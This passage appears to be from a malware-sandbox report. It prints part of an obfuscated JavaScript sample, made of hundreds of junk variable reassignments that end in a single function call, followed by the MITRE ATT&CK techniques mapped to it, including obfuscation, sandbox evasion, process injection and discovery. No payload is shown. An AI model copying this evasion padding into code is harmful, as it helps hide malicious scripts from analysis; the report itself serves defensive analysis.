549	rfwdvbrzf = "W";
550	rfwdvbrzf = "u";
551	rfwdvbrzf = "v";
552	rfwdvbrzf = "o";
553	rfwdvbrzf = "H";
554	rfwdvbrzf = "E";
555	rfwdvbrzf = "L";
556	rfwdvbrzf = "c";
557	rfwdvbrzf = "z";
558	rfwdvbrzf = "f";
559	rfwdvbrzf = "w";
560	rfwdvbrzf = "d";
561	rfwdvbrzf = "n";
562	gojhikf = "K";
563	gojhikf = "G";
564	gojhikf = "X";
565	gojhikf = "P";
566	gojhikf = "C";
567	gojhikf = "G";
568	gojhikf = "n";
569	gojhikf = "K";
570	gojhikf = "P";
571	gojhikf = "S";
572	gojhikf = "G";
573	gojhikf = "l";
574	gojhikf = "m";
575	gojhikf = "N";
576	gojhikf = "o";
577	gojhikf = "c";
578	gojhikf = "s";
579	gojhikf = "r";
580	gojhikf = "L";
581	gojhikf = "V";
582	gojhikf = "c";
583	gojhikf = "o";
584	gojhikf = "p";
585	gojhikf = "R";
586	gojhikf = "E";
587	gojhikf = "K";
588	gojhikf = "G";
589	gojhikf = "i";
590	gojhikf = "A";
591	gojhikf = "I";
592	gojhikf = "h";
593	gojhikf = "Z";
594	gojhikf = "H";
595	gojhikf = "D";
596	gojhikf = "e";
597	gojhikf = "Y";
598	gojhikf = "E";
599	gojhikf = "w";
600	gojhikf = "b";
601	gojhikf = "U";
602	gojhikf = "u";
603	iofvawqkd = "g";
604	iofvawqkd = "k";
605	iofvawqkd = "E";
606	iofvawqkd = "x";
607	iofvawqkd = "q";
608	pblsvja = "Y";
609	pblsvja = "d";
610	pblsvja = "o";
611	pblsvja = "z";
612	pblsvja = "u";
613	pblsvja = "N";
614	pblsvja = "g";
615	pblsvja = "u";
616	pblsvja = "t";
617	pblsvja = "G";
618	pblsvja = "Q";
619	pblsvja = "U";
620	pblsvja = "e";
621	pblsvja = "C";
622	pblsvja = "M";
623	pblsvja = "U";
624	pblsvja = "W";
625	pblsvja = "k";
626	pblsvja = "U";
627	pblsvja = "3";
628	qaejax = "I";
629	qaejax = "b";
630	qaejax = "E";
631	qaejax = "L";
632	qaejax = "n";
633	qaejax = "a";
634	qaejax = "R";
635	qaejax = "e";
636	qaejax = "x";
637	qaejax = "M";
638	qaejax = "y";
639	qaejax = "g";
640	qaejax = "B";
641	qaejax = "k";
642	qaejax = "C";
643	qaejax = "l";
644	qaejax = "i";
645	qaejax = "z";
646	qaejax = "G";
647	qaejax = "E";
648	qaejax = "s";
649	qaejax = "Z";
650	qaejax = "o";
651	qaejax = "T";
652	qaejax = "V";
653	qaejax = "B";
654	qaejax = "k";
655	qaejax = "D";
656	qaejax = "s";
657	qaejax = "N";
658	qaejax = "E";
659	qaejax = "Y";
660	qaejax = "v";
661	qaejax = "p";
662	qaejax = "k";
663	qaejax = "g";
664	qaejax = "J";
665	qaejax = "e";
666	qaejax = "v";
667	qaejax = "o";
668	qaejax = "W";
669	qaejax = "-";
670	kvfgcjp = "C";
671	kvfgcjp = "F";
672	kvfgcjp = "Z";
673	kvfgcjp = "g";
674	kvfgcjp = "M";
675	kvfgcjp = "p";
676	kvfgcjp = "G";
677	kvfgcjp = "j";
678	kvfgcjp = "m";
679	kvfgcjp = "p";
680	kvfgcjp = "t";
681	kvfgcjp = "b";
682	kvfgcjp = "Y";
683	zqbbkhvb = "u";
684	zqbbkhvb = "z";
685	zqbbkhvb = "z";
686	zqbbkhvb = "s";
687	zqbbkhvb = "P";
688	zqbbkhvb = "H";
689	zqbbkhvb = "T";
690	zqbbkhvb = "x";
691	zqbbkhvb = "c";
692	zqbbkhvb = "X";
693	zqbbkhvb = "G";
694	zqbbkhvb = "E";
695	zqbbkhvb = "j";
696	zqbbkhvb = "P";
697	zqbbkhvb = "Y";
698	zqbbkhvb = "p";
699	zqbbkhvb = "T";
700	zqbbkhvb = "r";
701	zqbbkhvb = "e";
702	zqbbkhvb = "j";
703	zqbbkhvb = "g";
704	zqbbkhvb = "y";
705	zqbbkhvb = "o";
706	zqbbkhvb = "j";
707	zqbbkhvb = "T";
708	zqbbkhvb = "e";
709	zqbbkhvb = "v";
710	zqbbkhvb = "R";
711	zqbbkhvb = "I";
712	zqbbkhvb = "H";
713	zqbbkhvb = "E";
714	zqbbkhvb = "c";
715	zqbbkhvb = "g";
716	zqbbkhvb = "D";
717	zqbbkhvb = "p";
718	zqbbkhvb = "W";
719	zqbbkhvb = "t";
720	zqbbkhvb = "x";
721	zqbbkhvb = "V";
722	zqbbkhvb = "p";
723	bibejoo = "m";
724	bibejoo = "o";
725	bibejoo = "m";
726	bibejoo = "d";
727	bibejoo = "A";
728	bibejoo = "L";
729	bibejoo = "c";
730	bibejoo = "/";
731	jfyiotq = "P";
732	jfyiotq = "c";
733	jfyiotq = "m";
734	jfyiotq = "v";
735	jfyiotq = "r";
736	jfyiotq = "n";
737	jfyiotq = "a";
738	jfyiotq = "v";
739	jfyiotq = "O";
740	jfyiotq = "c";
741	jfyiotq = "h";
742	jfyiotq = "s";
743	jfyiotq = "k";
744	jfyiotq = "d";
745	jfyiotq = "V";
746	jfyiotq = "D";
747	jfyiotq = "l";
748	jfyiotq = "N";
749	jfyiotq = "X";
750	jfyiotq = "U";
751	jfyiotq = "t";
752	jfyiotq = "z";
753	jfyiotq = "s";
754	jfyiotq = "f";
755	jfyiotq = "b";
756	jfyiotq = "T";
757	jfyiotq = "b";
758	jfyiotq = "v";
759	jfyiotq = "q";
760	jfyiotq = "I";
761	jfyiotq = "u";
762	jfyiotq = "e";
763	jfyiotq = "V";
764	jfyiotq = "D";
765	jfyiotq = "s";
766	jfyiotq = "Q";
767	jfyiotq = "L";
768	jfyiotq = "u";
769	jfyiotq = "r";
770	jfyiotq = "M";
771	jfyiotq = "r";
772	jfyiotq = "N";
773	jfyiotq = "o";
774	jfyiotq = "o";
775	orbpyqorr = "R";
776	orbpyqorr = "L";
777	orbpyqorr = "w";
778	orbpyqorr = "y";
779	orbpyqorr = "g";
780	orbpyqorr = "J";
781	orbpyqorr = "b";
782	orbpyqorr = "K";
783	orbpyqorr = "T";
784	orbpyqorr = "B";
785	orbpyqorr = "y";
786	orbpyqorr = "T";
787	orbpyqorr = "Q";
788	orbpyqorr = "T";
789	orbpyqorr = "L";
790	orbpyqorr = "r";
791	vnhfhglt = "r";
792	vnhfhglt = "i";
793	vnhfhglt = "u";
794	vnhfhglt = "p";
795	vnhfhglt = "C";
796	vnhfhglt = "U";
797	vnhfhglt = "O";
798	vnhfhglt = "e";
799	vnhfhglt = "r";
800	vnhfhglt = "v";
801	vnhfhglt = "J";
802	vnhfhglt = "X";
803	vnhfhglt = "w";
804	vnhfhglt = "s";
805	vnhfhglt = "M";
806	vnhfhglt = "t";
807	vnhfhglt = "K";
808	vnhfhglt = "q";
809	vnhfhglt = "U";
810	vnhfhglt = "u";
811	vnhfhglt = "p";
812	vnhfhglt = "J";
813	vnhfhglt = "b";
814	vnhfhglt = "U";
815	vnhfhglt = "V";
816	vnhfhglt = "J";
817	vnhfhglt = "v";
818	vnhfhglt = "X";
819	vnhfhglt = "B";
820	vnhfhglt = "G";
821	vnhfhglt = "F";
822	vnhfhglt = "C";
823	vnhfhglt = "f";
824	vnhfhglt = "P";
825	vnhfhglt = "t";
826	vnhfhglt = "o";
827	vnhfhglt = "1";
828	wsizjrse = "J";
829	wsizjrse = "g";
830	wsizjrse = "k";
831	wsizjrse = "Q";
832	wsizjrse = "s";
833	wsizjrse = "Z";
834	wsizjrse = "Z";
835	wsizjrse = "C";
836	wsizjrse = "g";
837	wsizjrse = "V";
838	wsizjrse = "i";
839	wsizjrse = "b";
840	wsizjrse = "J";
841	wsizjrse = "V";
842	wsizjrse = "Y";
843	wsizjrse = "Z";
844	wsizjrse = "i";
845	wsizjrse = "Q";
846	wsizjrse = "O";
847	wsizjrse = "o";
848	wsizjrse = "w";
849	wsizjrse = "k";
850	wsizjrse = "E";
851	wsizjrse = "w";
852	wsizjrse = "M";
853	wsizjrse = "L";
854	wsizjrse = "x";
855	elzhmcg = "h";
856	elzhmcg = "A";
857	elzhmcg = "M";
858	elzhmcg = "C";
859	elzhmcg = "v";
860	elzhmcg = "J";
861	elzhmcg = "z";
862	elzhmcg = "C";
863	elzhmcg = "X";
864	elzhmcg = "J";
865	elzhmcg = "p";
866	elzhmcg = "T";
867	elzhmcg = "l";
868	elzhmcg = "n";
869	elzhmcg = "b";
870	elzhmcg = "g";
871	dtmuvlx = "L";
872	dtmuvlx = "D";
873	dtmuvlx = "c";
874	dtmuvlx = "J";
875	dtmuvlx = "R";
876	dtmuvlx = "n";
877	dtmuvlx = "s";
878	dtmuvlx = "i";
879	dtmuvlx = "t";
880	dtmuvlx = "D";
881	dtmuvlx = "P";
882	dtmuvlx = "N";
883	dtmuvlx = "M";
884	dtmuvlx = "u";
885	dtmuvlx = "t";
886	dtmuvlx = "g";
887	dtmuvlx = "A";
888	dtmuvlx = "A";
889	dtmuvlx = "Q";
890	dtmuvlx = "Q";
891	dtmuvlx = "u";
892	dtmuvlx = "w";
893	dtmuvlx = "r";
894	dtmuvlx = "H";
895	dtmuvlx = "X";
896	dtmuvlx = "j";
897	dtmuvlx = "g";
898	dtmuvlx = "r";
899	dtmuvlx = "L";
900	dtmuvlx = "P";
901	dtmuvlx = "M";
902	dtmuvlx = "M";
903	dtmuvlx = "K";
904	dtmuvlx = "l";
905	dtmuvlx = "T";
906	dtmuvlx = "x";
907	dtmuvlx = "O";
908	dtmuvlx = "s";
909	dtmuvlx = "W";
910	dtmuvlx = "q";
911	dtmuvlx = "h";
912	dtmuvlx = ".";
913	secugogb = "C";
914	secugogb = "G";
915	secugogb = "N";
916	secugogb = "E";
917	secugogb = "j";
918	secugogb = "I";
919	secugogb = "C";
920	secugogb = "Q";
921	secugogb = "R";
922	secugogb = "r";
923	secugogb = "h";
924	secugogb = "v";
925	secugogb = "j";
926	secugogb = "V";
927	secugogb = "y";
928	secugogb = "y";
929	secugogb = "w";
930	secugogb = "z";
931	secugogb = "l";
932	secugogb = "I";
933	secugogb = "B";
934	secugogb = "D";
935	secugogb = "N";
936	secugogb = "l";
937	secugogb = "k";
938	secugogb = "l";
939	secugogb = "s";
940	secugogb = "E";
941	secugogb = "I";
942	secugogb = "F";
943	secugogb = "N";
944	secugogb = "K";
945	secugogb = "w";
946	secugogb = "s";
947	secugogb = "S";
948	secugogb = "H";
949	secugogb = "F";
950	secugogb = "p";
951	secugogb = "g";
952	secugogb = "Q";
953	secugogb = "Q";
954	secugogb = "V";
955	secugogb = "Q";
956	secugogb = "6";
957	smdnsuq = "n";
958	smdnsuq = "h";
959	smdnsuq = "m";
960	smdnsuq = "P";
961	smdnsuq = "L";
962	smdnsuq = "S";
963	smdnsuq = "k";
964	smdnsuq = "p";
965	smdnsuq = "h";
966	smdnsuq = "u";
967	smdnsuq = "K";
968	smdnsuq = "N";
969	smdnsuq = "g";
970	smdnsuq = "W";
971	smdnsuq = "t";
972	smdnsuq = "a";
973	smdnsuq = "U";
974	smdnsuq = "b";
975	smdnsuq = "m";
976	smdnsuq = "n";
977	smdnsuq = "K";
978	smdnsuq = "g";
979	smdnsuq = "G";
980	smdnsuq = "V";
981	smdnsuq = "t";
982	smdnsuq = "G";
983	smdnsuq = "G";
984	smdnsuq = "F";
985	smdnsuq = "X";
986	smdnsuq = "n";
987	smdnsuq = "V";
988	smdnsuq = "I";
989	smdnsuq = "T";
990	smdnsuq = "K";
991	smdnsuq = "L";
992	smdnsuq = "z";
993	smdnsuq = "n";
994	smdnsuq = "f";
995	smdnsuq = "M";
996	smdnsuq = "x";
997	smdnsuq = "l";
998	smdnsuq = "W";
999	yfujxrrj = "p";
1000	yfujxrrj = "j";
1001	yfujxrrj = "F";
1002	yfujxrrj = "g";
1003	yfujxrrj = "o";
1004	yfujxrrj = "k";
1005	yfujxrrj = "K";
1006	yfujxrrj = "U";
1007	yfujxrrj = "y";
1008	yfujxrrj = "j";
1009	yfujxrrj = "D";
1010	yfujxrrj = "p";
1011	yfujxrrj = "o";
1012	yfujxrrj = "A";
1013	yfujxrrj = "q";
1014	yfujxrrj = "E";
1015	yfujxrrj = "j";
1016	yfujxrrj = "t";
1017	yfujxrrj = "p";
1018	yfujxrrj = "g";
1019	yfujxrrj = "y";
1020	yfujxrrj = "G";
1021	yfujxrrj = "h";
1022	yfujxrrj = "r";
1023	yfujxrrj = "f";
1024	yfujxrrj = "d";
1025	yfujxrrj = "q";
1026	yfujxrrj = "k";
1027	yfujxrrj = "f";
1028	dlsijlgtb = "Q";
1029	dlsijlgtb = "K";
1030	dlsijlgtb = "T";
1031	brbqv = "P";
1032	brbqv = "i";
1033	brbqv = "O";
1034	brbqv = "V";
1035	brbqv = "h";
1036	brbqv = "f";
1037	brbqv = "r";
1038	brbqv = "p";
1039	brbqv = "q";
1040	brbqv = "L";
1041	brbqv = "x";
1042	brbqv = "W";
1043	brbqv = "r";
1044	brbqv = "u";
1045	brbqv = "G";
1046	brbqv = "m";
1047	brbqv = "O";
1048	brbqv = "T";
1049	brbqv = "E";
1050	brbqv = "k";
1051	brbqv = "h";
1052	brbqv = "y";
1053	brbqv = "S";
1054	brbqv = "_";
1055	cuwev = "t";
1056	cuwev = "L";
1057	cuwev = "n";
1058	cuwev = "i";
1059	cuwev = "V";
1060	cuwev = "I";
1061	cuwev = "e";
1062	cuwev = "Y";
1063	cuwev = "F";
1064	cuwev = "P";
1065	cuwev = "F";
1066	cuwev = "d";
1067	tsfwa = "J";
1068	tsfwa = "f";
1069	tsfwa = "M";
1070	tsfwa = "Q";
1071	tsfwa = "y";
1072	tsfwa = "O";
1073	tsfwa = "d";
1074	tsfwa = "G";
1075	tsfwa = "i";
1076	tsfwa = "g";
1077	tsfwa = "X";
1078	tsfwa = "s";
1079	tsfwa = "h";
1080	tsfwa = "k";
1081	tsfwa = "u";
1082	tsfwa = "i";
1083	tsfwa = "F";
1084	szuruer = "e";
1085	szuruer = "w";
1086	szuruer = "j";
1087	szuruer = "p";
1088	szuruer = "w";
1089	szuruer = "r";
1090	szuruer = "t";
1091	szuruer = " ";
1092	btvqa = "J";
1093	btvqa = "O";
1094	btvqa = "X";
1095	btvqa = "R";
1096	btvqa = "q";
1097	btvqa = "c";
1098	btvqa = "F";
1099	btvqa = "l";
1100	btvqa = "s";
1101	btvqa = "p";
1102	btvqa = "Q";
1103	btvqa = "G";
1104	btvqa = "L";
1105	btvqa = "k";
1106	btvqa = "u";
1107	btvqa = "c";
1108	btvqa = "o";
1109	btvqa = "z";
1110	btvqa = "O";
1111	btvqa = "A";
1112	btvqa = "b";
1113	btvqa = "F";
1114	btvqa = "u";
1115	btvqa = "R";
1116	btvqa = "h";
1117	ohxmvk = "D";
1118	ohxmvk = "a";
1119	ohxmvk = "u";
1120	ohxmvk = "L";
1121	ohxmvk = "A";
1122	ohxmvk = "e";
1123	ohxmvk = "y";
1124	ohxmvk = "l";
1125	ohxmvk = "b";
1126	ohxmvk = "f";
1127	ohxmvk = "v";
1128	ohxmvk = "G";
1129	ohxmvk = "f";
1130	ohxmvk = "Y";
1131	ohxmvk = "u";
1132	ohxmvk = "s";
1133	ohxmvk = "V";
1134	ohxmvk = "E";
1135	ohxmvk = "g";
1136	ohxmvk = "D";
1137	ohxmvk = "j";
1138	ohxmvk = "P";
1139	bzvplgsus = "B";
1140	bzvplgsus = "d";
1141	bzvplgsus = "Y";
1142	bzvplgsus = "e";
1143	bzvplgsus = "i";
1144	bzvplgsus = "Y";
1145	bzvplgsus = "P";
1146	bzvplgsus = "L";
1147	bzvplgsus = "A";
1148	bzvplgsus = "r";
1149	bzvplgsus = "B";
1150	bzvplgsus = "n";
1151	bzvplgsus = "c";
1152	bzvplgsus = "P";
1153	bzvplgsus = "T";
1154	bzvplgsus = "W";
1155	bzvplgsus = "0";
1156	zofrdv = "n";
1157	zofrdv = "g";
1158	zofrdv = "l";
1159	zofrdv = "W";
1160	zofrdv = "R";
1161	zofrdv = "F";
1162	zofrdv = "Z";
1163	zofrdv = "v";
1164	zofrdv = "i";
1165	yolojkem = "E";
1166	yolojkem = "q";
1167	yolojkem = "I";
1168	yolojkem = "y";
1169	yolojkem = "u";
1170	yolojkem = "B";
1171	yolojkem = "h";
1172	yolojkem = "y";
1173	yolojkem = "p";
1174	yolojkem = "Q";
1175	yolojkem = "R";
1176	yolojkem = "x";
1177	yolojkem = "D";
1178	yolojkem = "L";
1179	yolojkem = "C";
1180	yolojkem = "e";
1181	yolojkem = "d";
1182	yolojkem = "l";
1183	yolojkem = "B";
1184	yolojkem = "g";
1185	yolojkem = "q";
1186	yolojkem = "x";
1187	yolojkem = "w";
1188	yolojkem = "U";
1189	yolojkem = "i";
1190	yolojkem = "y";
1191	yolojkem = "c";
1192	yolojkem = "A";
1193	yolojkem = "N";
1194	yolojkem = "E";
1195	yolojkem = "B";
1196	yolojkem = "c";
1197	yolojkem = "V";
1198	yolojkem = "4";
1199	kvnhn = "K";
1200	kvnhn = "K";
1201	kvnhn = "c";
1202	kvnhn = "G";
1203	kvnhn = "F";
1204	kvnhn = "q";
1205	kvnhn = "s";
1206	kvnhn = "c";
1207	kvnhn = "D";
1208	kvnhn = "o";
1209	kvnhn = "V";
1210	kvnhn = "t";
1211	kvnhn = "s";
1212	kvnhn = "z";
1213	kvnhn = "b";
1214	kvnhn = "n";
1215	kvnhn = "C";
1216	kvnhn = "K";
1217	kvnhn = "P";
1218	kvnhn = "B";
1219	kvnhn = "w";
1220	kvnhn = "y";
1221	kvnhn = "A";
1222	kvnhn = "f";
1223	kvnhn = "b";
1224	kvnhn = "y";
1225	kvnhn = "M";
1226	kvnhn = "W";
1227	kvnhn = "r";
1228	kvnhn = "R";
1229	kvnhn = "u";
1230	kvnhn = "N";
1231	kvnhn = "n";
1232	kvnhn = "g";
1233	kvnhn = "U";
1234	kvnhn = "w";
1235	xsloov = "c";
1236	xsloov = "E";
1237	xsloov = "k";
1238	xsloov = "h";
1239	xsloov = "w";
1240	xsloov = "o";
1241	xsloov = "T";
1242	xsloov = "g";
1243	xsloov = "E";
1244	xsloov = "m";
1245	xsloov = "V";
1246	xsloov = "q";
1247	xsloov = "f";
1248	xsloov = "q";
1249	xsloov = "O";
1250	xsloov = "J";
1251	xsloov = "i";
1252	xsloov = "x";
1253	xsloov = "X";
1254	xsloov = "B";
1255	xsloov = "m";
1256	xsloov = "9";
1257	mneaims = "p";
1258	mneaims = "L";
1259	mneaims = "j";
1260	mneaims = "J";
1261	mneaims = "g";
1262	mneaims = "b";
1263	mneaims = "S";
1264	mneaims = "l";
1265	mneaims = "L";
1266	mneaims = "k";
1267	mneaims = "n";
1268	mneaims = "U";
1269	mneaims = "U";
1270	mneaims = "J";
1271	mneaims = "z";
1272	mneaims = "x";
1273	mneaims = "V";
1274	mneaims = "s";
1275	mneaims = "X";
1276	mneaims = "x";
1277	mneaims = "p";
1278	mneaims = "N";
1279	mneaims = "v";
1280	mneaims = "j";
1281	mneaims = "G";
1282	mneaims = "v";
1283	mneaims = "o";
1284	mneaims = "j";
1285	mneaims = "i";
1286	mneaims = "W";
1287	mneaims = "J";
1288	mneaims = "d";
1289	mneaims = "c";
1290	mneaims = "L";
1291	mneaims = "w";
1292	mneaims = "Y";
1293	mneaims = "t";
1294	mneaims = "S";
1295	mneaims = "P";
1296	mneaims = "H";
1297	bekfes = "g";
1298	bekfes = "g";
1299	bekfes = "Z";
1300	bekfes = "p";
1301	bekfes = "W";
1302	bekfes = "X";
1303	bekfes = "F";
1304	bekfes = "R";
1305	bekfes = "S";
1306	bekfes = "H";
1307	bekfes = "Q";
1308	bekfes = "H";
1309	bekfes = "l";
1310	bekfes = "O";
1311	bekfes = "I";
1312	bekfes = "I";
1313	bekfes = "v";
1314	bekfes = "s";
1315	bekfes = "k";
1316	ediauueou = "f";
1317	ediauueou = "b";
1318	ediauueou = "X";
1319	ediauueou = "l";
1320	ediauueou = "X";
1321	ediauueou = "G";
1322	ediauueou = "B";
1323	ediauueou = "C";
1324	ediauueou = "c";
1325	ediauueou = "W";
1326	ediauueou = "O";
1327	ediauueou = "P";
1328	ediauueou = "c";
1329	ediauueou = "z";
1330	ediauueou = "N";
1331	jvgchxw = "j";
1332	jvgchxw = "P";
1333	jvgchxw = "h";
1334	jvgchxw = "f";
1335	jvgchxw = "O";
1336	jvgchxw = "V";
1337	jvgchxw = "N";
1338	jvgchxw = "H";
1339	jvgchxw = "S";
1340	jvgchxw = "v";
1341	jvgchxw = "n";
1342	jvgchxw = "N";
1343	jvgchxw = "N";
1344	jvgchxw = "Z";
1345	jvgchxw = "l";
1346	jvgchxw = "k";
1347	jvgchxw = "Q";
1348	jvgchxw = "s";
1349	fktvdidx = "z";
1350	fktvdidx = "g";
1351	fktvdidx = "J";
1352	fktvdidx = "D";
1353	fktvdidx = "Q";
1354	fktvdidx = "w";
1355	fktvdidx = "i";
1356	fktvdidx = "y";
1357	fktvdidx = "j";
1358	fktvdidx = "Q";
1359	fktvdidx = "E";
1360	fktvdidx = "G";
1361	fktvdidx = "D";
1362	fktvdidx = "H";
1363	fktvdidx = "l";
1364	fktvdidx = "B";
1365	fktvdidx = "u";
1366	fktvdidx = "R";
1367	fktvdidx = "X";
1368	fktvdidx = "Q";
1369	fktvdidx = "l";
1370	gwsqfksl = "r";
1371	gwsqfksl = "d";
1372	gwsqfksl = "D";
1373	gwsqfksl = "I";
1374	gwsqfksl = "Z";
1375	gwsqfksl = "N";
1376	gwsqfksl = "Z";
1377	gwsqfksl = "a";
1378	gwsqfksl = "E";
1379	gwsqfksl = "v";
1380	gwsqfksl = "e";
1381	gwsqfksl = "r";
1382	gwsqfksl = "I";
1383	gwsqfksl = "k";
1384	gwsqfksl = "f";
1385	gwsqfksl = "x";
1386	gwsqfksl = "X";
1387	gwsqfksl = "p";
1388	gwsqfksl = "e";
1389	gwsqfksl = "s";
1390	gwsqfksl = "g";
1391	gwsqfksl = "g";
1392	gwsqfksl = "Q";
1393	gwsqfksl = "d";
1394	gwsqfksl = "O";
1395	gwsqfksl = "K";
1396	gwsqfksl = "L";
1397	aoxazejuq = "z";
1398	aoxazejuq = "P";
1399	aoxazejuq = "I";
1400	aoxazejuq = "m";
1401	aoxazejuq = "P";
1402	aoxazejuq = "g";
1403	aoxazejuq = "j";
1404	aoxazejuq = "z";
1405	aoxazejuq = "e";
1406	aoxazejuq = "w";
1407	aoxazejuq = "R";
1408	aoxazejuq = "J";
1409	aoxazejuq = "u";
1410	aoxazejuq = "s";
1411	aoxazejuq = "h";
1412	aoxazejuq = "B";
1413	aoxazejuq = "p";
1414	aoxazejuq = "s";
1415	aoxazejuq = "O";
1416	aoxazejuq = "l";
1417	aoxazejuq = "X";
1418	aoxazejuq = "P";
1419	aoxazejuq = "m";
1420	aoxazejuq = "Q";
1421	aoxazejuq = "a";
1422	aoxazejuq = "C";
1423	aoxazejuq = "e";
1424	aoxazejuq = "b";
1425	aoxazejuq = "g";
1426	aoxazejuq = "S";
1427	aoxazejuq = "r";
1428	aoxazejuq = "A";
1429	aoxazejuq = "s";
1430	aoxazejuq = "a";
1431	mnleah ( );	mnleah() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

